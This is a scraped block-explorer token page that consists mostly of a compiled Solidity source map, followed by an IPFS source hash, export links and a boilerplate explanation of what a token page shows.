;8911:71;8979:1;8968:9;8964:17;8955:6;8911:71;:::i;:::-;8767:222;;;;:::o;8995:86::-;9030:7;9070:4;9063:5;9059:16;9048:27;;8995:86;;;:::o;9087:112::-;9170:22;9186:5;9170:22;:::i;:::-;9165:3;9158:35;9087:112;;:::o;9205:214::-;9294:4;9332:2;9321:9;9317:18;9309:26;;9345:67;9409:1;9398:9;9394:17;9385:6;9345:67;:::i;:::-;9205:214;;;;:::o;9425:329::-;9484:6;9533:2;9521:9;9512:7;9508:23;9504:32;9501:119;;;9539:79;;:::i;:::-;9501:119;9659:1;9684:53;9729:7;9720:6;9709:9;9705:22;9684:53;:::i;:::-;9674:63;;9630:117;9425:329;;;;:::o;9760:117::-;9869:1;9866;9859:12;9900:568;9973:8;9983:6;10033:3;10026:4;10018:6;10014:17;10010:27;10000:122;;10041:79;;:::i;:::-;10000:122;10154:6;10141:20;10131:30;;10184:18;10176:6;10173:30;10170:117;;;10206:79;;:::i;:::-;10170:117;10320:4;10312:6;10308:17;10296:29;;10374:3;10366:4;10358:6;10354:17;10344:8;10340:32;10337:41;10334:128;;;10381:79;;:::i;:::-;10334:128;9900:568;;;;;:::o;10474:698::-;10566:6;10574;10582;10631:2;10619:9;10610:7;10606:23;10602:32;10599:119;;;10637:79;;:::i;:::-;10599:119;10785:1;10774:9;10770:17;10757:31;10815:18;10807:6;10804:30;10801:117;;;10837:79;;:::i;:::-;10801:117;10950:80;11022:7;11013:6;11002:9;10998:22;10950:80;:::i;:::-;10932:98;;;;10728:312;11079:2;11105:50;11147:7;11138:6;11127:9;11123:22;11105:50;:::i;:::-;11095:60;;11050:115;10474:698;;;;;:::o;11178:474::-;11246:6;11254;11303:2;11291:9;11282:7;11278:23;11274:32;11271:119;;;11309:79;;:::i;:::-;11271:119;11429:1;11454:53;11499:7;11490:6;11479:9;11475:22;11454:53;:::i;:::-;11444:63;;11400:117;11556:2;11582:53;11627:7;11618:6;11607:9;11603:22;11582:53;:::i;:::-;11572:63;;11527:118;11178:474;;;;;:::o;11658:151::-;11798:3;11794:1;11786:6;11782:14;11775:27;11658:151;:::o;11815:365::-;11957:3;11978:66;12042:1;12037:3;11978:66;:::i;:::-;11971:73;;12053:93;12142:3;12053:93;:::i;:::-;12171:2;12166:3;12162:12;12155:19;;11815:365;;;:::o;12186:419::-;12352:4;12390:2;12379:9;12375:18;12367:26;;12439:9;12433:4;12429:20;12425:1;12414:9;12410:17;12403:47;12467:131;12593:4;12467:131;:::i;:::-;12459:139;;12186:419;;;:::o;12611:180::-;12659:77;12656:1;12649:88;12756:4;12753:1;12746:15;12780:4;12777:1;12770:15;12797:244;12937:34;12933:1;12925:6;12921:14;12914:58;13006:27;13001:2;12993:6;12989:15;12982:52;12797:244;:::o;13047:366::-;13189:3;13210:67;13274:2;13269:3;13210:67;:::i;:::-;13203:74;;13286:93;13375:3;13286:93;:::i;:::-;13404:2;13399:3;13395:12;13388:19;;13047:366;;;:::o;13419:419::-;13585:4;13623:2;13612:9;13608:18;13600:26;;13672:9;13666:4;13662:20;13658:1;13647:9;13643:17;13636:47;13700:131;13826:4;13700:131;:::i;:::-;13692:139;;13419:419;;;:::o;13844:180::-;13892:77;13889:1;13882:88;13989:4;13986:1;13979:15;14013:4;14010:1;14003:15;14030:233;14069:3;14092:24;14110:5;14092:24;:::i;:::-;14083:33;;14138:66;14131:5;14128:77;14125:103;;14208:18;;:::i;:::-;14125:103;14255:1;14248:5;14244:13;14237:20;;14030:233;;;:::o;14269:180::-;14317:77;14314:1;14307:88;14414:4;14411:1;14404:15;14438:4;14435:1;14428:15;14455:320;14499:6;14536:1;14530:4;14526:12;14516:22;;14583:1;14577:4;14573:12;14604:18;14594:81;;14660:4;14652:6;14648:17;14638:27;;14594:81;14722:2;14714:6;14711:14;14691:18;14688:38;14685:84;;14741:18;;:::i;:::-;14685:84;14506:269;14455:320;;;:::o;14781:191::-;14821:3;14840:20;14858:1;14840:20;:::i;:::-;14835:25;;14874:20;14892:1;14874:20;:::i;:::-;14869:25;;14917:1;14914;14910:9;14903:16;;14938:3;14935:1;14932:10;14929:36;;;14945:18;;:::i;:::-;14929:36;14781:191;;;;:::o;14978:224::-;15118:34;15114:1;15106:6;15102:14;15095:58;15187:7;15182:2;15174:6;15170:15;15163:32;14978:224;:::o;15208:366::-;15350:3;15371:67;15435:2;15430:3;15371:67;:::i;:::-;15364:74;;15447:93;15536:3;15447:93;:::i;:::-;15565:2;15560:3;15556:12;15549:19;;15208:366;;;:::o;15580:419::-;15746:4;15784:2;15773:9;15769:18;15761:26;;15833:9;15827:4;15823:20;15819:1;15808:9;15804:17;15797:47;15861:131;15987:4;15861:131;:::i;:::-;15853:139;;15580:419;;;:::o;16005:225::-;16145:34;16141:1;16133:6;16129:14;16122:58;16214:8;16209:2;16201:6;16197:15;16190:33;16005:225;:::o;16236:366::-;16378:3;16399:67;16463:2;16458:3;16399:67;:::i;:::-;16392:74;;16475:93;16564:3;16475:93;:::i;:::-;16593:2;16588:3;16584:12;16577:19;;16236:366;;;:::o;16608:419::-;16774:4;16812:2;16801:9;16797:18;16789:26;;16861:9;16855:4;16851:20;16847:1;16836:9;16832:17;16825:47;16889:131;17015:4;16889:131;:::i;:::-;16881:139;;16608:419;;;:::o;17033:173::-;17173:25;17169:1;17161:6;17157:14;17150:49;17033:173;:::o;17212:366::-;17354:3;17375:67;17439:2;17434:3;17375:67;:::i;:::-;17368:74;;17451:93;17540:3;17451:93;:::i;:::-;17569:2;17564:3;17560:12;17553:19;;17212:366;;;:::o;17584:419::-;17750:4;17788:2;17777:9;17773:18;17765:26;;17837:9;17831:4;17827:20;17823:1;17812:9;17808:17;17801:47;17865:131;17991:4;17865:131;:::i;:::-;17857:139;;17584:419;;;:::o;18009:223::-;18149:34;18145:1;18137:6;18133:14;18126:58;18218:6;18213:2;18205:6;18201:15;18194:31;18009:223;:::o;18238:366::-;18380:3;18401:67;18465:2;18460:3;18401:67;:::i;:::-;18394:74;;18477:93;18566:3;18477:93;:::i;:::-;18595:2;18590:3;18586:12;18579:19;;18238:366;;;:::o;18610:419::-;18776:4;18814:2;18803:9;18799:18;18791:26;;18863:9;18857:4;18853:20;18849:1;18838:9;18834:17;18827:47;18891:131;19017:4;18891:131;:::i;:::-;18883:139;;18610:419;;;:::o;19035:221::-;19175:34;19171:1;19163:6;19159:14;19152:58;19244:4;19239:2;19231:6;19227:15;19220:29;19035:221;:::o;19262:366::-;19404:3;19425:67;19489:2;19484:3;19425:67;:::i;:::-;19418:74;;19501:93;19590:3;19501:93;:::i;:::-;19619:2;19614:3;19610:12;19603:19;;19262:366;;;:::o;19634:419::-;19800:4;19838:2;19827:9;19823:18;19815:26;;19887:9;19881:4;19877:20;19873:1;19862:9;19858:17;19851:47;19915:131;20041:4;19915:131;:::i;:::-;19907:139;;19634:419;;;:::o;20059:179::-;20199:31;20195:1;20187:6;20183:14;20176:55;20059:179;:::o;20244:366::-;20386:3;20407:67;20471:2;20466:3;20407:67;:::i;:::-;20400:74;;20483:93;20572:3;20483:93;:::i;:::-;20601:2;20596:3;20592:12;20585:19;;20244:366;;;:::o;20616:419::-;20782:4;20820:2;20809:9;20805:18;20797:26;;20869:9;20863:4;20859:20;20855:1;20844:9;20840:17;20833:47;20897:131;21023:4;20897:131;:::i;:::-;20889:139;;20616:419;;;:::o;21041:224::-;21181:34;21177:1;21169:6;21165:14;21158:58;21250:7;21245:2;21237:6;21233:15;21226:32;21041:224;:::o;21271:366::-;21413:3;21434:67;21498:2;21493:3;21434:67;:::i;:::-;21427:74;;21510:93;21599:3;21510:93;:::i;:::-;21628:2;21623:3;21619:12;21612:19;;21271:366;;;:::o;21643:419::-;21809:4;21847:2;21836:9;21832:18;21824:26;;21896:9;21890:4;21886:20;21882:1;21871:9;21867:17;21860:47;21924:131;22050:4;21924:131;:::i;:::-;21916:139;;21643:419;;;:::o;22068:222::-;22208:34;22204:1;22196:6;22192:14;22185:58;22277:5;22272:2;22264:6;22260:15;22253:30;22068:222;:::o;22296:366::-;22438:3;22459:67;22523:2;22518:3;22459:67;:::i;:::-;22452:74;;22535:93;22624:3;22535:93;:::i;:::-;22653:2;22648:3;22644:12;22637:19;;22296:366;;;:::o;22668:419::-;22834:4;22872:2;22861:9;22857:18;22849:26;;22921:9;22915:4;22911:20;22907:1;22896:9;22892:17;22885:47;22949:131;23075:4;22949:131;:::i;:::-;22941:139;;22668:419;;;:::o;23093:174::-;23233:26;23229:1;23221:6;23217:14;23210:50;23093:174;:::o;23273:366::-;23415:3;23436:67;23500:2;23495:3;23436:67;:::i;:::-;23429:74;;23512:93;23601:3;23512:93;:::i;:::-;23630:2;23625:3;23621:12;23614:19;;23273:366;;;:::o;23645:419::-;23811:4;23849:2;23838:9;23834:18;23826:26;;23898:9;23892:4;23888:20;23884:1;23873:9;23869:17;23862:47;23926:131;24052:4;23926:131;:::i;:::-;23918:139;;23645:419;;;:::o;24070:410::-;24110:7;24133:20;24151:1;24133:20;:::i;:::-;24128:25;;24167:20;24185:1;24167:20;:::i;:::-;24162:25;;24222:1;24219;24215:9;24244:30;24262:11;24244:30;:::i;:::-;24233:41;;24423:1;24414:7;24410:15;24407:1;24404:22;24384:1;24377:9;24357:83;24334:139;;24453:18;;:::i;:::-;24334:139;24118:362;24070:410;;;;:::o;24486:180::-;24534:77;24531:1;24524:88;24631:4;24628:1;24621:15;24655:4;24652:1;24645:15;24672:185;24712:1;24729:20;24747:1;24729:20;:::i;:::-;24724:25;;24763:20;24781:1;24763:20;:::i;:::-;24758:25;;24802:1;24792:35;;24807:18;;:::i;:::-;24792:35;24849:1;24846;24842:9;24837:14;;24672:185;;;;:::o;24863:194::-;24903:4;24923:20;24941:1;24923:20;:::i;:::-;24918:25;;24957:20;24975:1;24957:20;:::i;:::-;24952:25;;25001:1;24998;24994:9;24986:17;;25025:1;25019:4;25016:11;25013:37;;;25030:18;;:::i;:::-;25013:37;24863:194;;;;:::o;25063:182::-;25203:34;25199:1;25191:6;25187:14;25180:58;25063:182;:::o;25251:366::-;25393:3;25414:67;25478:2;25473:3;25414:67;:::i;:::-;25407:74;;25490:93;25579:3;25490:93;:::i;:::-;25608:2;25603:3;25599:12;25592:19;;25251:366;;;:::o;25623:419::-;25789:4;25827:2;25816:9;25812:18;25804:26;;25876:9;25870:4;25866:20;25862:1;25851:9;25847:17;25840:47;25904:131;26030:4;25904:131;:::i;:::-;25896:139;;25623:419;;;:::o;26048:225::-;26188:34;26184:1;26176:6;26172:14;26165:58;26257:8;26252:2;26244:6;26240:15;26233:33;26048:225;:::o;26279:366::-;26421:3;26442:67;26506:2;26501:3;26442:67;:::i;:::-;26435:74;;26518:93;26607:3;26518:93;:::i;:::-;26636:2;26631:3;26627:12;26620:19;;26279:366;;;:::o;26651:419::-;26817:4;26855:2;26844:9;26840:18;26832:26;;26904:9;26898:4;26894:20;26890:1;26879:9;26875:17;26868:47;26932:131;27058:4;26932:131;:::i;:::-;26924:139;;26651:419;;;:::o;27076:442::-;27225:4;27263:2;27252:9;27248:18;27240:26;;27276:71;27344:1;27333:9;27329:17;27320:6;27276:71;:::i;:::-;27357:72;27425:2;27414:9;27410:18;27401:6;27357:72;:::i;:::-;27439;27507:2;27496:9;27492:18;27483:6;27439:72;:::i;:::-;27076:442;;;;;;:::o;27524:147::-;27625:11;27662:3;27647:18;;27524:147;;;;:::o;27677:114::-;;:::o;27797:398::-;27956:3;27977:83;28058:1;28053:3;27977:83;:::i;:::-;27970:90;;28069:93;28158:3;28069:93;:::i;:::-;28187:1;28182:3;28178:11;28171:18;;27797:398;;;:::o;28201:379::-;28385:3;28407:147;28550:3;28407:147;:::i;:::-;28400:154;;28571:3;28564:10;;28201:379;;;:::o;28586:143::-;28643:5;28674:6;28668:13;28659:22;;28690:33;28717:5;28690:33;:::i;:::-;28586:143;;;;:::o;28735:351::-;28805:6;28854:2;28842:9;28833:7;28829:23;28825:32;28822:119;;;28860:79;;:::i;:::-;28822:119;28980:1;29005:64;29061:7;29052:6;29041:9;29037:22;29005:64;:::i;:::-;28995:74;;28951:128;28735:351;;;;:::o;29092:85::-;29137:7;29166:5;29155:16;;29092:85;;;:::o;29183:158::-;29241:9;29274:61;29292:42;29301:32;29327:5;29301:32;:::i;:::-;29292:42;:::i;:::-;29274:61;:::i;:::-;29261:74;;29183:158;;;:::o;29347:147::-;29442:45;29481:5;29442:45;:::i;:::-;29437:3;29430:58;29347:147;;:::o;29500:114::-;29567:6;29601:5;29595:12;29585:22;;29500:114;;;:::o;29620:184::-;29719:11;29753:6;29748:3;29741:19;29793:4;29788:3;29784:14;29769:29;;29620:184;;;;:::o;29810:132::-;29877:4;29900:3;29892:11;;29930:4;29925:3;29921:14;29913:22;;29810:132;;;:::o;29948:108::-;30025:24;30043:5;30025:24;:::i;:::-;30020:3;30013:37;29948:108;;:::o;30062:179::-;30131:10;30152:46;30194:3;30186:6;30152:46;:::i;:::-;30230:4;30225:3;30221:14;30207:28;;30062:179;;;;:::o;30247:113::-;30317:4;30349;30344:3;30340:14;30332:22;;30247:113;;;:::o;30396:732::-;30515:3;30544:54;30592:5;30544:54;:::i;:::-;30614:86;30693:6;30688:3;30614:86;:::i;:::-;30607:93;;30724:56;30774:5;30724:56;:::i;:::-;30803:7;30834:1;30819:284;30844:6;30841:1;30838:13;30819:284;;;30920:6;30914:13;30947:63;31006:3;30991:13;30947:63;:::i;:::-;30940:70;;31033:60;31086:6;31033:60;:::i;:::-;31023:70;;30879:224;30866:1;30863;30859:9;30854:14;;30819:284;;;30823:14;31119:3;31112:10;;30520:608;;;30396:732;;;;:::o;31134:831::-;31397:4;31435:3;31424:9;31420:19;31412:27;;31449:71;31517:1;31506:9;31502:17;31493:6;31449:71;:::i;:::-;31530:80;31606:2;31595:9;31591:18;31582:6;31530:80;:::i;:::-;31657:9;31651:4;31647:20;31642:2;31631:9;31627:18;31620:48;31685:108;31788:4;31779:6;31685:108;:::i;:::-;31677:116;;31803:72;31871:2;31860:9;31856:18;31847:6;31803:72;:::i;:::-;31885:73;31953:3;31942:9;31938:19;31929:6;31885:73;:::i;:::-;31134:831;;;;;;;;:::o;31971:807::-;32220:4;32258:3;32247:9;32243:19;32235:27;;32272:71;32340:1;32329:9;32325:17;32316:6;32272:71;:::i;:::-;32353:72;32421:2;32410:9;32406:18;32397:6;32353:72;:::i;:::-;32435:80;32511:2;32500:9;32496:18;32487:6;32435:80;:::i;:::-;32525;32601:2;32590:9;32586:18;32577:6;32525:80;:::i;:::-;32615:73;32683:3;32672:9;32668:19;32659:6;32615:73;:::i;:::-;32698;32766:3;32755:9;32751:19;32742:6;32698:73;:::i;:::-;31971:807;;;;;;;;;:::o;32784:143::-;32841:5;32872:6;32866:13;32857:22;;32888:33;32915:5;32888:33;:::i;:::-;32784:143;;;;:::o;32933:663::-;33021:6;33029;33037;33086:2;33074:9;33065:7;33061:23;33057:32;33054:119;;;33092:79;;:::i;:::-;33054:119;33212:1;33237:64;33293:7;33284:6;33273:9;33269:22;33237:64;:::i;:::-;33227:74;;33183:128;33350:2;33376:64;33432:7;33423:6;33412:9;33408:22;33376:64;:::i;:::-;33366:74;;33321:129;33489:2;33515:64;33571:7;33562:6;33551:9;33547:22;33515:64;:::i;:::-;33505:74;;33460:129;32933:663;;;;;:::o

Swarm Source

ipfs://2681c44c14714afc723c8a83d56738df8bd02965b0d48c1c98b2ecac4af457cd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.